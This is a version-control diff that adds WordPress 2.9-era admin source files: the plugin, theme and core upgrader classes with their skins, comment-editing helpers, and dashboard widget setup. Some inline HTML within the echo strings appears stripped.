$this->strings['no_package'] = __('Install package not available.'); + $this->strings['downloading_package'] = __('Downloading install package from %s.'); + $this->strings['unpack_package'] = __('Unpacking the package.'); + $this->strings['installing_package'] = __('Installing the plugin.'); + $this->strings['process_failed'] = __('Plugin Install Failed.'); + $this->strings['process_success'] = __('Plugin Installed successfully.'); + } + + function install($package) { + + $this->init(); + $this->install_strings(); + + $this->run(array( + 'package' => $package, + 'destination' => WP_PLUGIN_DIR, + 'clear_destination' => false, //Do not overwrite files. + 'clear_working' => true, + 'hook_extra' => array() + )); + + // Force refresh of plugin update information + delete_transient('update_plugins'); + + } + + function upgrade($plugin) { + + $this->init(); + $this->upgrade_strings(); + + $current = get_transient( 'update_plugins' ); + if ( !isset( $current->response[ $plugin ] ) ) { + $this->skin->set_result(false); + $this->skin->error('up_to_date'); + $this->skin->after(); + return false; + } + + // Get the URL to the zip file + $r = $current->response[ $plugin ]; + + add_filter('upgrader_pre_install', array(&$this, 'deactivate_plugin_before_upgrade'), 10, 2); + add_filter('upgrader_clear_destination', array(&$this, 'delete_old_plugin'), 10, 4); + //'source_selection' => array(&$this, 'source_selection'), //theres a track ticket to move up the directory for zip's which are made a bit differently, useful for non-.org plugins. + + $this->run(array( + 'package' => $r->package, + 'destination' => WP_PLUGIN_DIR, + 'clear_destination' => true, + 'clear_working' => true, + 'hook_extra' => array( + 'plugin' => $plugin + ) + )); + + // Cleanup our hooks, incase something else does a upgrade on this connection. + remove_filter('upgrader_pre_install', array(&$this, 'deactivate_plugin_before_upgrade')); + remove_filter('upgrader_clear_destination', array(&$this, 'delete_old_plugin')); + + if ( ! $this->result || is_wp_error($this->result) ) + return $this->result; + + // Force refresh of plugin update information + delete_transient('update_plugins'); + } + + function bulk_upgrade($plugins) { + + $this->init(); + $this->bulk = true; + $this->upgrade_strings(); + + $current = get_transient( 'update_plugins' ); + + add_filter('upgrader_clear_destination', array(&$this, 'delete_old_plugin'), 10, 4); + + $this->skin->header(); + + // Connect to the Filesystem first. + $res = $this->fs_connect( array(WP_CONTENT_DIR, WP_PLUGIN_DIR) ); + if ( ! $res ) { + $this->skin->footer(); + return false; + } + + $this->maintenance_mode(true); + + $all = count($plugins); + $i = 1; + foreach ( $plugins as $plugin ) { + + $this->show_before = sprintf( '

    ' . __('Updating plugin %1$d of %2$d...') . '

    ', $i, $all ); + $i++; + + if ( !isset( $current->response[ $plugin ] ) ) { + $this->skin->set_result(false); + $this->skin->error('up_to_date'); + $this->skin->after(); + $results[$plugin] = false; + continue; + } + + // Get the URL to the zip file + $r = $current->response[ $plugin ]; + + $this->skin->plugin_active = is_plugin_active($plugin); + + $result = $this->run(array( + 'package' => $r->package, + 'destination' => WP_PLUGIN_DIR, + 'clear_destination' => true, + 'clear_working' => true, + 'is_multi' => true, + 'hook_extra' => array( + 'plugin' => $plugin + ) + )); + + $results[$plugin] = $this->result; + + // Prevent credentials auth screen from displaying multiple times + if ( false === $result ) + break; + } + $this->maintenance_mode(false); + $this->skin->footer(); + + // Cleanup our hooks, incase something else does a upgrade on this connection. + remove_filter('upgrader_clear_destination', array(&$this, 'delete_old_plugin')); + + // Force refresh of plugin update information + delete_transient('update_plugins'); + + return $results; + } + + //return plugin info. + function plugin_info() { + if ( ! is_array($this->result) ) + return false; + if ( empty($this->result['destination_name']) ) + return false; + + $plugin = get_plugins('/' . $this->result['destination_name']); //Ensure to pass with leading slash + if ( empty($plugin) ) + return false; + + $pluginfiles = array_keys($plugin); //Assume the requested plugin is the first in the list + + return $this->result['destination_name'] . '/' . $pluginfiles[0]; + } + + //Hooked to pre_install + function deactivate_plugin_before_upgrade($return, $plugin) { + + if ( is_wp_error($return) ) //Bypass. + return $return; + + $plugin = isset($plugin['plugin']) ? $plugin['plugin'] : ''; + if ( empty($plugin) ) + return new WP_Error('bad_request', $this->strings['bad_request']); + + if ( is_plugin_active($plugin) ) { + $this->skin->feedback('deactivate_plugin'); + //Deactivate the plugin silently, Prevent deactivation hooks from running. + deactivate_plugins($plugin, true); + } + } + + //Hooked to upgrade_clear_destination + function delete_old_plugin($removed, $local_destination, $remote_destination, $plugin) { + global $wp_filesystem; + + if ( is_wp_error($removed) ) + return $removed; //Pass errors through. + + $plugin = isset($plugin['plugin']) ? $plugin['plugin'] : ''; + if ( empty($plugin) ) + return new WP_Error('bad_request', $this->strings['bad_request']); + + $plugins_dir = $wp_filesystem->wp_plugins_dir(); + $this_plugin_dir = trailingslashit( dirname($plugins_dir . $plugin) ); + + if ( ! $wp_filesystem->exists($this_plugin_dir) ) //If its already vanished. + return $removed; + + // If plugin is in its own directory, recursively delete the directory. + if ( strpos($plugin, '/') && $this_plugin_dir != $plugins_dir ) //base check on if plugin includes directory seperator AND that its not the root plugin folder + $deleted = $wp_filesystem->delete($this_plugin_dir, true); + else + $deleted = $wp_filesystem->delete($plugins_dir . $plugin); + + if ( ! $deleted ) + return new WP_Error('remove_old_failed', $this->strings['remove_old_failed']); + + return $removed; + } +} + +/** + * Theme Upgrader class for WordPress Themes, It is designed to upgrade/install themes from a local zip, remote zip URL, or uploaded zip file. + * + * @TODO More Detailed docs, for methods as well. + * + * @package WordPress + * @subpackage Upgrader + * @since 2.8.0 + */ +class Theme_Upgrader extends WP_Upgrader { + + var $result; + + function upgrade_strings() { + $this->strings['up_to_date'] = __('The theme is at the latest version.'); + $this->strings['no_package'] = __('Upgrade package not available.'); + $this->strings['downloading_package'] = __('Downloading update from %s.'); + $this->strings['unpack_package'] = __('Unpacking the update.'); + $this->strings['remove_old'] = __('Removing the old version of the theme.'); + $this->strings['remove_old_failed'] = __('Could not remove the old theme.'); + $this->strings['process_failed'] = __('Theme upgrade Failed.'); + $this->strings['process_success'] = __('Theme upgraded successfully.'); + } + + function install_strings() { + $this->strings['no_package'] = __('Install package not available.'); + $this->strings['downloading_package'] = __('Downloading install package from %s.'); + $this->strings['unpack_package'] = __('Unpacking the package.'); + $this->strings['installing_package'] = __('Installing the theme.'); + $this->strings['process_failed'] = __('Theme Install Failed.'); + $this->strings['process_success'] = __('Theme Installed successfully.'); + } + + function install($package) { + + $this->init(); + $this->install_strings(); + + $options = array( + 'package' => $package, + 'destination' => WP_CONTENT_DIR . '/themes', + 'clear_destination' => false, //Do not overwrite files. + 'clear_working' => true + ); + + $this->run($options); + + if ( ! $this->result || is_wp_error($this->result) ) + return $this->result; + + // Force refresh of theme update information + delete_transient('update_themes'); + + if ( empty($result['destination_name']) ) + return false; + else + return $result['destination_name']; + } + + function upgrade($theme) { + + $this->init(); + $this->upgrade_strings(); + + // Is an update available? + $current = get_transient( 'update_themes' ); + if ( !isset( $current->response[ $theme ] ) ) { + $this->skin->set_result(false); + $this->skin->error('up_to_date'); + $this->skin->after(); + return false; + } + + $r = $current->response[ $theme ]; + + add_filter('upgrader_pre_install', array(&$this, 'current_before'), 10, 2); + add_filter('upgrader_post_install', array(&$this, 'current_after'), 10, 2); + add_filter('upgrader_clear_destination', array(&$this, 'delete_old_theme'), 10, 4); + + $options = array( + 'package' => $r['package'], + 'destination' => WP_CONTENT_DIR . '/themes', + 'clear_destination' => true, + 'clear_working' => true, + 'hook_extra' => array( + 'theme' => $theme + ) + ); + + $this->run($options); + + if ( ! $this->result || is_wp_error($this->result) ) + return $this->result; + + // Force refresh of theme update information + delete_transient('update_themes'); + + return true; + } + + function current_before($return, $theme) { + + if ( is_wp_error($return) ) + return $return; + + $theme = isset($theme['theme']) ? $theme['theme'] : ''; + + if ( $theme != get_stylesheet() ) //If not current + return $return; + //Change to maintainence mode now. + $this->maintenance_mode(true); + + return $return; + } + function current_after($return, $theme) { + if ( is_wp_error($return) ) + return $return; + + $theme = isset($theme['theme']) ? $theme['theme'] : ''; + + if ( $theme != get_stylesheet() ) //If not current + return $return; + + //Ensure stylesheet name hasnt changed after the upgrade: + if ( $theme == get_stylesheet() && $theme != $this->result['destination_name'] ) { + $theme_info = $this->theme_info(); + $stylesheet = $this->result['destination_name']; + $template = !empty($theme_info['Template']) ? $theme_info['Template'] : $stylesheet; + switch_theme($template, $stylesheet, true); + } + + //Time to remove maintainence mode + $this->maintenance_mode(false); + return $return; + } + + function delete_old_theme($removed, $local_destination, $remote_destination, $theme) { + global $wp_filesystem; + + $theme = isset($theme['theme']) ? $theme['theme'] : ''; + + if ( is_wp_error($removed) || empty($theme) ) + return $removed; //Pass errors through. + + $themes_dir = $wp_filesystem->wp_themes_dir(); + if ( $wp_filesystem->exists( trailingslashit($themes_dir) . $theme ) ) + if ( ! $wp_filesystem->delete( trailingslashit($themes_dir) . $theme, true ) ) + return false; + return true; + } + + function theme_info() { + if ( empty($this->result['destination_name']) ) + return false; + return get_theme_data(WP_CONTENT_DIR . '/themes/' . $this->result['destination_name'] . '/style.css'); + } + +} + +/** + * Core Upgrader class for WordPress. It allows for WordPress to upgrade itself in combiantion with the wp-admin/includes/update-core.php file + * + * @TODO More Detailed docs, for methods as well. + * + * @package WordPress + * @subpackage Upgrader + * @since 2.8.0 + */ +class Core_Upgrader extends WP_Upgrader { + + function upgrade_strings() { + $this->strings['up_to_date'] = __('WordPress is at the latest version.'); + $this->strings['no_package'] = __('Upgrade package not available.'); + $this->strings['downloading_package'] = __('Downloading update from %s.'); + $this->strings['unpack_package'] = __('Unpacking the update.'); + $this->strings['copy_failed'] = __('Could not copy files.'); + } + + function upgrade($current) { + global $wp_filesystem; + + $this->init(); + $this->upgrade_strings(); + + if ( !empty($feedback) ) + add_filter('update_feedback', $feedback); + + // Is an update available? + if ( !isset( $current->response ) || $current->response == 'latest' ) + return new WP_Error('up_to_date', $this->strings['up_to_date']); + + $res = $this->fs_connect( array(ABSPATH, WP_CONTENT_DIR) ); + if ( is_wp_error($res) ) + return $res; + + $wp_dir = trailingslashit($wp_filesystem->abspath()); + + $download = $this->download_package( $current->package ); + if ( is_wp_error($download) ) + return $download; + + $working_dir = $this->unpack_package( $download ); + if ( is_wp_error($working_dir) ) + return $working_dir; + + // Copy update-core.php from the new version into place. + if ( !$wp_filesystem->copy($working_dir . '/wordpress/wp-admin/includes/update-core.php', $wp_dir . 'wp-admin/includes/update-core.php', true) ) { + $wp_filesystem->delete($working_dir, true); + return new WP_Error('copy_failed', $this->strings['copy_failed']); + } + $wp_filesystem->chmod($wp_dir . 'wp-admin/includes/update-core.php', FS_CHMOD_FILE); + + require(ABSPATH . 'wp-admin/includes/update-core.php'); + + return update_core($working_dir, $wp_dir); + } + +} + +/** + * Generic Skin for the WordPress Upgrader classes. This skin is designed to be extended for specific purposes. + * + * @TODO More Detailed docs, for methods as well. + * + * @package WordPress + * @subpackage Upgrader + * @since 2.8.0 + */ +class WP_Upgrader_Skin { + + var $upgrader; + var $done_header = false; + + function WP_Upgrader_Skin($args = array()) { + return $this->__construct($args); + } + function __construct($args = array()) { + $defaults = array( 'url' => '', 'nonce' => '', 'title' => '', 'context' => false ); + $this->options = wp_parse_args($args, $defaults); + } + + function set_upgrader(&$upgrader) { + if ( is_object($upgrader) ) + $this->upgrader =& $upgrader; + } + function set_result($result) { + $this->result = $result; + } + + function request_filesystem_credentials($error = false) { + $url = $this->options['url']; + $context = $this->options['context']; + if ( !empty($this->options['nonce']) ) + $url = wp_nonce_url($url, $this->options['nonce']); + return request_filesystem_credentials($url, '', $error, $context); //Possible to bring inline, Leaving as is for now. + } + + function header() { + if ( $this->done_header ) + return; + $this->done_header = true; + echo '
    '; + echo screen_icon(); + echo '

    ' . $this->options['title'] . '

    '; + } + function footer() { + echo '
    '; + } + + function error($errors) { + if ( ! $this->done_header ) + $this->header(); + if ( is_string($errors) ) { + $this->feedback($errors); + } elseif ( is_wp_error($errors) && $errors->get_error_code() ) { + foreach ( $errors->get_error_messages() as $message ) { + if ( $errors->get_error_data() ) + $this->feedback($message . ' ' . $errors->get_error_data() ); + else + $this->feedback($message); + } + } + } + + function feedback($string) { + if ( isset( $this->upgrader->strings[$string] ) ) + $string = $this->upgrader->strings[$string]; + + if ( strpos($string, '%') !== false ) { + $args = func_get_args(); + $args = array_splice($args, 1); + if ( !empty($args) ) + $string = vsprintf($string, $args); + } + if ( empty($string) ) + return; + show_message($string); + } + function before() {} + function after() {} + +} + +/** + * Plugin Upgrader Skin for WordPress Plugin Upgrades. + * + * @TODO More Detailed docs, for methods as well. + * + * @package WordPress + * @subpackage Upgrader + * @since 2.8.0 + */ +class Plugin_Upgrader_Skin extends WP_Upgrader_Skin { + var $plugin = ''; + var $plugin_active = false; + + function Plugin_Upgrader_Skin($args = array()) { + return $this->__construct($args); + } + + function __construct($args = array()) { + $defaults = array( 'url' => '', 'plugin' => '', 'nonce' => '', 'title' => __('Upgrade Plugin') ); + $args = wp_parse_args($args, $defaults); + + $this->plugin = $args['plugin']; + + $this->plugin_active = is_plugin_active($this->plugin); + + parent::__construct($args); + } + + function after() { + if ( $this->upgrader->bulk ) + return; + + $this->plugin = $this->upgrader->plugin_info(); + if( !empty($this->plugin) && !is_wp_error($this->result) && $this->plugin_active ){ + show_message(__('Attempting reactivation of the plugin')); + echo ''; + } + + $update_actions = array( + 'activate_plugin' => '' . __('Activate Plugin') . '', + 'plugins_page' => '' . __('Return to Plugins page') . '' + ); + if ( $this->plugin_active ) + unset( $update_actions['activate_plugin'] ); + if ( ! $this->result || is_wp_error($this->result) ) + unset( $update_actions['activate_plugin'] ); + + $update_actions = apply_filters('update_plugin_complete_actions', $update_actions, $this->plugin); + if ( ! empty($update_actions) ) + $this->feedback('' . __('Actions:') . ' ' . implode(' | ', (array)$update_actions)); + } + + function before() { + if ( $this->upgrader->show_before ) { + echo $this->upgrader->show_before; + $this->upgrader->show_before = ''; + } + } +} + +/** + * Plugin Installer Skin for WordPress Plugin Installer. + * + * @TODO More Detailed docs, for methods as well. + * + * @package WordPress + * @subpackage Upgrader + * @since 2.8.0 + */ +class Plugin_Installer_Skin extends WP_Upgrader_Skin { + var $api; + var $type; + + function Plugin_Installer_Skin($args = array()) { + return $this->__construct($args); + } + + function __construct($args = array()) { + $defaults = array( 'type' => 'web', 'url' => '', 'plugin' => '', 'nonce' => '', 'title' => '' ); + $args = wp_parse_args($args, $defaults); + + $this->type = $args['type']; + $this->api = isset($args['api']) ? $args['api'] : array(); + + parent::__construct($args); + } + + function before() { + if ( !empty($this->api) ) + $this->upgrader->strings['process_success'] = sprintf( __('Successfully installed the plugin %s %s.'), $this->api->name, $this->api->version); + } + + function after() { + + $plugin_file = $this->upgrader->plugin_info(); + + $install_actions = array( + 'activate_plugin' => '' . __('Activate Plugin') . '', + ); + + if ( $this->type == 'web' ) + $install_actions['plugins_page'] = '' . __('Return to Plugin Installer') . ''; + else + $install_actions['plugins_page'] = '' . __('Return to Plugins page') . ''; + + + if ( ! $this->result || is_wp_error($this->result) ) + unset( $install_actions['activate_plugin'] ); + + $install_actions = apply_filters('install_plugin_complete_actions', $install_actions, $this->api, $plugin_file); + if ( ! empty($install_actions) ) + $this->feedback('' . __('Actions:') . ' ' . implode(' | ', (array)$install_actions)); + } +} + +/** + * Theme Installer Skin for the WordPress Theme Installer. + * + * @TODO More Detailed docs, for methods as well. + * + * @package WordPress + * @subpackage Upgrader + * @since 2.8.0 + */ +class Theme_Installer_Skin extends WP_Upgrader_Skin { + var $api; + var $type; + + function Theme_Installer_Skin($args = array()) { + return $this->__construct($args); + } + + function __construct($args = array()) { + $defaults = array( 'type' => 'web', 'url' => '', 'theme' => '', 'nonce' => '', 'title' => '' ); + $args = wp_parse_args($args, $defaults); + + $this->type = $args['type']; + $this->api = isset($args['api']) ? $args['api'] : array(); + + parent::__construct($args); + } + + function before() { + if ( !empty($this->api) ) { + /* translators: 1: theme name, 2: version */ + $this->upgrader->strings['process_success'] = sprintf( __('Successfully installed the theme %1$s %2$s.'), $this->api->name, $this->api->version); + } + } + + function after() { + if ( empty($this->upgrader->result['destination_name']) ) + return; + + $theme_info = $this->upgrader->theme_info(); + if ( empty($theme_info) ) + return; + $name = $theme_info['Name']; + $stylesheet = $this->upgrader->result['destination_name']; + $template = !empty($theme_info['Template']) ? $theme_info['Template'] : $stylesheet; + + $preview_link = htmlspecialchars( add_query_arg( array('preview' => 1, 'template' => $template, 'stylesheet' => $stylesheet, 'TB_iframe' => 'true' ), trailingslashit(esc_url(get_option('home'))) ) ); + $activate_link = wp_nonce_url("themes.php?action=activate&template=" . urlencode($template) . "&stylesheet=" . urlencode($stylesheet), 'switch-theme_' . $template); + + $install_actions = array( + 'preview' => '' . __('Preview') . '', + 'activate' => '' . __('Activate') . '' + ); + + if ( $this->type == 'web' ) + $install_actions['themes_page'] = '' . __('Return to Theme Installer') . ''; + else + $install_actions['themes_page'] = '' . __('Return to Themes page') . ''; + + if ( ! $this->result || is_wp_error($this->result) ) + unset( $install_actions['activate'], $install_actions['preview'] ); + + $install_actions = apply_filters('install_theme_complete_actions', $install_actions, $this->api, $stylesheet, $theme_info); + if ( ! empty($install_actions) ) + $this->feedback('' . __('Actions:') . ' ' . implode(' | ', (array)$install_actions)); + } +} + +/** + * Theme Upgrader Skin for WordPress Theme Upgrades. + * + * @TODO More Detailed docs, for methods as well. + * + * @package WordPress + * @subpackage Upgrader + * @since 2.8.0 + */ +class Theme_Upgrader_Skin extends WP_Upgrader_Skin { + var $theme = ''; + + function Theme_Upgrader_Skin($args = array()) { + return $this->__construct($args); + } + + function __construct($args = array()) { + $defaults = array( 'url' => '', 'theme' => '', 'nonce' => '', 'title' => __('Upgrade Theme') ); + $args = wp_parse_args($args, $defaults); + + $this->theme = $args['theme']; + + parent::__construct($args); + } + + function after() { + + if ( !empty($this->upgrader->result['destination_name']) && + ($theme_info = $this->upgrader->theme_info()) && + !empty($theme_info) ) { + + $name = $theme_info['Name']; + $stylesheet = $this->upgrader->result['destination_name']; + $template = !empty($theme_info['Template']) ? $theme_info['Template'] : $stylesheet; + + $preview_link = htmlspecialchars( add_query_arg( array('preview' => 1, 'template' => $template, 'stylesheet' => $stylesheet, 'TB_iframe' => 'true' ), trailingslashit(esc_url(get_option('home'))) ) ); + $activate_link = wp_nonce_url("themes.php?action=activate&template=" . urlencode($template) . "&stylesheet=" . urlencode($stylesheet), 'switch-theme_' . $template); + + $update_actions = array( + 'preview' => '' . __('Preview') . '', + 'activate' => '' . __('Activate') . '', + ); + if ( ( ! $this->result || is_wp_error($this->result) ) || $stylesheet == get_stylesheet() ) + unset($update_actions['preview'], $update_actions['activate']); + } + + $update_actions['themes_page'] = '' . __('Return to Themes page') . ''; + + $update_actions = apply_filters('update_theme_complete_actions', $update_actions, $this->theme); + if ( ! empty($update_actions) ) + $this->feedback('' . __('Actions:') . ' ' . implode(' | ', (array)$update_actions)); + } +} + +/** + * Upgrade Skin helper for File uploads. This class handles the upload process and passes it as if its a local file to the Upgrade/Installer functions. + * + * @TODO More Detailed docs, for methods as well. + * + * @package WordPress + * @subpackage Upgrader + * @since 2.8.0 + */ +class File_Upload_Upgrader { + var $package; + var $filename; + + function File_Upload_Upgrader($form, $urlholder) { + return $this->__construct($form, $urlholder); + } + function __construct($form, $urlholder) { + if ( ! ( ( $uploads = wp_upload_dir() ) && false === $uploads['error'] ) ) + wp_die($uploads['error']); + + if ( empty($_FILES[$form]['name']) && empty($_GET[$urlholder]) ) + wp_die(__('Please select a file')); + + if ( !empty($_FILES) ) + $this->filename = $_FILES[$form]['name']; + else if ( isset($_GET[$urlholder]) ) + $this->filename = $_GET[$urlholder]; + + //Handle a newly uploaded file, Else assume its already been uploaded + if ( !empty($_FILES) ) { + $this->filename = wp_unique_filename( $uploads['basedir'], $this->filename ); + $this->package = $uploads['basedir'] . '/' . $this->filename; + + // Move the file to the uploads dir + if ( false === @ move_uploaded_file( $_FILES[$form]['tmp_name'], $this->package) ) + wp_die( sprintf( __('The uploaded file could not be moved to %s.' ), $uploads['path'])); + } else { + $this->package = $uploads['basedir'] . '/' . $this->filename; + } + } +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/comment.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/comment.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,167 @@ +get_var( $wpdb->prepare("SELECT comment_post_ID FROM $wpdb->comments + WHERE comment_author = %s AND comment_date = %s", $comment_author, $comment_date) ); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + */ +function edit_comment() { + + $comment_post_ID = (int) $_POST['comment_post_ID']; + + if (!current_user_can( 'edit_post', $comment_post_ID )) + wp_die( __('You are not allowed to edit comments on this post, so you cannot edit this comment.' )); + + $_POST['comment_author'] = $_POST['newcomment_author']; + $_POST['comment_author_email'] = $_POST['newcomment_author_email']; + $_POST['comment_author_url'] = $_POST['newcomment_author_url']; + $_POST['comment_approved'] = $_POST['comment_status']; + $_POST['comment_content'] = $_POST['content']; + $_POST['comment_ID'] = (int) $_POST['comment_ID']; + + foreach ( array ('aa', 'mm', 'jj', 'hh', 'mn') as $timeunit ) { + if ( !empty( $_POST['hidden_' . $timeunit] ) && $_POST['hidden_' . $timeunit] != $_POST[$timeunit] ) { + $_POST['edit_date'] = '1'; + break; + } + } + + if (!empty ( $_POST['edit_date'] ) ) { + $aa = $_POST['aa']; + $mm = $_POST['mm']; + $jj = $_POST['jj']; + $hh = $_POST['hh']; + $mn = $_POST['mn']; + $ss = $_POST['ss']; + $jj = ($jj > 31 ) ? 31 : $jj; + $hh = ($hh > 23 ) ? $hh -24 : $hh; + $mn = ($mn > 59 ) ? $mn -60 : $mn; + $ss = ($ss > 59 ) ? $ss -60 : $ss; + $_POST['comment_date'] = "$aa-$mm-$jj $hh:$mn:$ss"; + } + + wp_update_comment( $_POST); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $id + * @return unknown + */ +function get_comment_to_edit( $id ) { + if ( !$comment = get_comment($id) ) + return false; + + $comment->comment_ID = (int) $comment->comment_ID; + $comment->comment_post_ID = (int) $comment->comment_post_ID; + + $comment->comment_content = format_to_edit( $comment->comment_content ); + $comment->comment_content = apply_filters( 'comment_edit_pre', $comment->comment_content); + + $comment->comment_author = format_to_edit( $comment->comment_author ); + $comment->comment_author_email = format_to_edit( $comment->comment_author_email ); + $comment->comment_author_url = format_to_edit( $comment->comment_author_url ); + $comment->comment_author_url = esc_url($comment->comment_author_url); + + return $comment; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * @uses $wpdb + * + * @param int $post_id Post ID + * @return unknown + */ +function get_pending_comments_num( $post_id ) { + global $wpdb; + + $single = false; + if ( !is_array($post_id) ) { + $post_id = (array) $post_id; + $single = true; + } + $post_id = array_map('intval', $post_id); + $post_id = "'" . implode("', '", $post_id) . "'"; + + $pending = $wpdb->get_results( "SELECT comment_post_ID, COUNT(comment_ID) as num_comments FROM $wpdb->comments WHERE comment_post_ID IN ( $post_id ) AND comment_approved = '0' GROUP BY comment_post_ID", ARRAY_N ); + + if ( empty($pending) ) + return 0; + + if ( $single ) + return $pending[0][1]; + + $pending_keyed = array(); + foreach ( $pending as $pend ) + $pending_keyed[$pend[0]] = $pend[1]; + + return $pending_keyed; +} + +/** + * Add avatars to relevant places in admin, or try to. + * + * @since unknown + * @uses $comment + * + * @param string $name User name. + * @return string Avatar with Admin name. + */ +function floated_admin_avatar( $name ) { + global $comment; + + $id = $avatar = false; + if ( $comment->comment_author_email ) + $id = $comment->comment_author_email; + if ( $comment->user_id ) + $id = $comment->user_id; + + if ( $id ) + $avatar = get_avatar( $id, 32 ); + + return "$avatar $name"; +} + +function enqueue_comment_hotkeys_js() { + if ( 'true' == get_user_option( 'comment_shortcuts' ) ) + wp_enqueue_script( 'jquery-table-hotkeys' ); +} + +if ( is_admin() && isset($pagenow) && ('edit-comments.php' == $pagenow || 'edit.php' == $pagenow) ) { + if ( get_option('show_avatars') ) + add_filter( 'comment_author', 'floated_admin_avatar' ); +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/continents-cities.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/continents-cities.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,493 @@ + get_option('home'), + 'link' => apply_filters( 'dashboard_incoming_links_link', 'http://blogsearch.google.com/blogsearch?scoring=d&partner=wordpress&q=link:' . trailingslashit( get_option('home') ) ), + 'url' => isset($widget_options['dashboard_incoming_links']['url']) ? apply_filters( 'dashboard_incoming_links_feed', $widget_options['dashboard_incoming_links']['url'] ) : apply_filters( 'dashboard_incoming_links_feed', 'http://blogsearch.google.com/blogsearch_feeds?scoring=d&ie=utf-8&num=' . $num_items . '&output=rss&partner=wordpress&q=link:' . trailingslashit( get_option('home') ) ), + 'items' => $num_items, + 'show_date' => isset($widget_options['dashboard_incoming_links']['show_date']) ? $widget_options['dashboard_incoming_links']['show_date'] : false + ); + } + wp_add_dashboard_widget( 'dashboard_incoming_links', __( 'Incoming Links' ), 'wp_dashboard_incoming_links', 'wp_dashboard_incoming_links_control' ); + + // WP Plugins Widget + if ( current_user_can( 'activate_plugins' ) ) + wp_add_dashboard_widget( 'dashboard_plugins', __( 'Plugins' ), 'wp_dashboard_plugins' ); + + // QuickPress Widget + if ( current_user_can('edit_posts') ) + wp_add_dashboard_widget( 'dashboard_quick_press', __( 'QuickPress' ), 'wp_dashboard_quick_press' ); + + // Recent Drafts + if ( current_user_can('edit_posts') ) + wp_add_dashboard_widget( 'dashboard_recent_drafts', __('Recent Drafts'), 'wp_dashboard_recent_drafts' ); + + // Primary feed (Dev Blog) Widget + if ( !isset( $widget_options['dashboard_primary'] ) ) { + $update = true; + $widget_options['dashboard_primary'] = array( + 'link' => apply_filters( 'dashboard_primary_link', __( 'http://wordpress.org/development/' ) ), + 'url' => apply_filters( 'dashboard_primary_feed', __( 'http://wordpress.org/development/feed/' ) ), + 'title' => apply_filters( 'dashboard_primary_title', __( 'WordPress Development Blog' ) ), + 'items' => 2, + 'show_summary' => 1, + 'show_author' => 0, + 'show_date' => 1 + ); + } + wp_add_dashboard_widget( 'dashboard_primary', $widget_options['dashboard_primary']['title'], 'wp_dashboard_primary', 'wp_dashboard_primary_control' ); + + // Secondary Feed (Planet) Widget + if ( !isset( $widget_options['dashboard_secondary'] ) ) { + $update = true; + $widget_options['dashboard_secondary'] = array( + 'link' => apply_filters( 'dashboard_secondary_link', __( 'http://planet.wordpress.org/' ) ), + 'url' => apply_filters( 'dashboard_secondary_feed', __( 'http://planet.wordpress.org/feed/' ) ), + 'title' => apply_filters( 'dashboard_secondary_title', __( 'Other WordPress News' ) ), + 'items' => 5 + ); + } + wp_add_dashboard_widget( 'dashboard_secondary', $widget_options['dashboard_secondary']['title'], 'wp_dashboard_secondary', 'wp_dashboard_secondary_control' ); + + // Hook to register new widgets + do_action( 'wp_dashboard_setup' ); + + // Filter widget order + $dashboard_widgets = apply_filters( 'wp_dashboard_widgets', array() ); + + foreach ( $dashboard_widgets as $widget_id ) { + $name = empty( $wp_registered_widgets[$widget_id]['all_link'] ) ? $wp_registered_widgets[$widget_id]['name'] : $wp_registered_widgets[$widget_id]['name'] . " " . __('View all') . ''; + wp_add_dashboard_widget( $widget_id, $name, $wp_registered_widgets[$widget_id]['callback'], $wp_registered_widget_controls[$widget_id]['callback'] ); + } + + if ( 'POST' == $_SERVER['REQUEST_METHOD'] && isset($_POST['widget_id']) ) { + ob_start(); // hack - but the same hack wp-admin/widgets.php uses + wp_dashboard_trigger_widget_control( $_POST['widget_id'] ); + ob_end_clean(); + wp_redirect( remove_query_arg( 'edit' ) ); + exit; + } + + if ( $update ) + update_option( 'dashboard_widget_options', $widget_options ); + + do_action('do_meta_boxes', 'dashboard', 'normal', ''); + do_action('do_meta_boxes', 'dashboard', 'side', ''); +} + +function wp_add_dashboard_widget( $widget_id, $widget_name, $callback, $control_callback = null ) { + global $wp_dashboard_control_callbacks; + if ( $control_callback && current_user_can( 'edit_dashboard' ) && is_callable( $control_callback ) ) { + $wp_dashboard_control_callbacks[$widget_id] = $control_callback; + if ( isset( $_GET['edit'] ) && $widget_id == $_GET['edit'] ) { + list($url) = explode( '#', add_query_arg( 'edit', false ), 2 ); + $widget_name .= ' ' . __( 'Cancel' ) . ''; + add_meta_box( $widget_id, $widget_name, '_wp_dashboard_control_callback', 'dashboard', 'normal', 'core' ); + return; + } + list($url) = explode( '#', add_query_arg( 'edit', $widget_id ), 2 ); + $widget_name .= ' ' . __( 'Configure' ) . ''; + } + $side_widgets = array('dashboard_quick_press', 'dashboard_recent_drafts', 'dashboard_primary', 'dashboard_secondary'); + $location = 'normal'; + if ( in_array($widget_id, $side_widgets) ) + $location = 'side'; + add_meta_box( $widget_id, $widget_name , $callback, 'dashboard', $location, 'core' ); +} + +function _wp_dashboard_control_callback( $dashboard, $meta_box ) { + echo '
    '; + wp_dashboard_trigger_widget_control( $meta_box['id'] ); + echo '

    '; + + echo '
    '; +} + +/** + * Displays the dashboard. + * + * @since unknown + */ +function wp_dashboard() { + global $screen_layout_columns; + + $hide2 = $hide3 = $hide4 = ''; + switch ( $screen_layout_columns ) { + case 4: + $width = 'width:24.5%;'; + break; + case 3: + $width = 'width:32.67%;'; + $hide4 = 'display:none;'; + break; + case 2: + $width = 'width:49%;'; + $hide3 = $hide4 = 'display:none;'; + break; + default: + $width = 'width:98%;'; + $hide2 = $hide3 = $hide4 = 'display:none;'; + } +?> +
    +\n"; + do_meta_boxes( 'dashboard', 'normal', '' ); + + echo "\t
    \n"; + do_meta_boxes( 'dashboard', 'side', '' ); + + echo "\t
    \n"; + do_meta_boxes( 'dashboard', 'column3', '' ); + + echo "\t
    \n"; + do_meta_boxes( 'dashboard', 'column4', '' ); +?> +
    + +
    +

    + +

    +
    + +' . __('At a Glance') . '

    '; + echo "\n\t".'
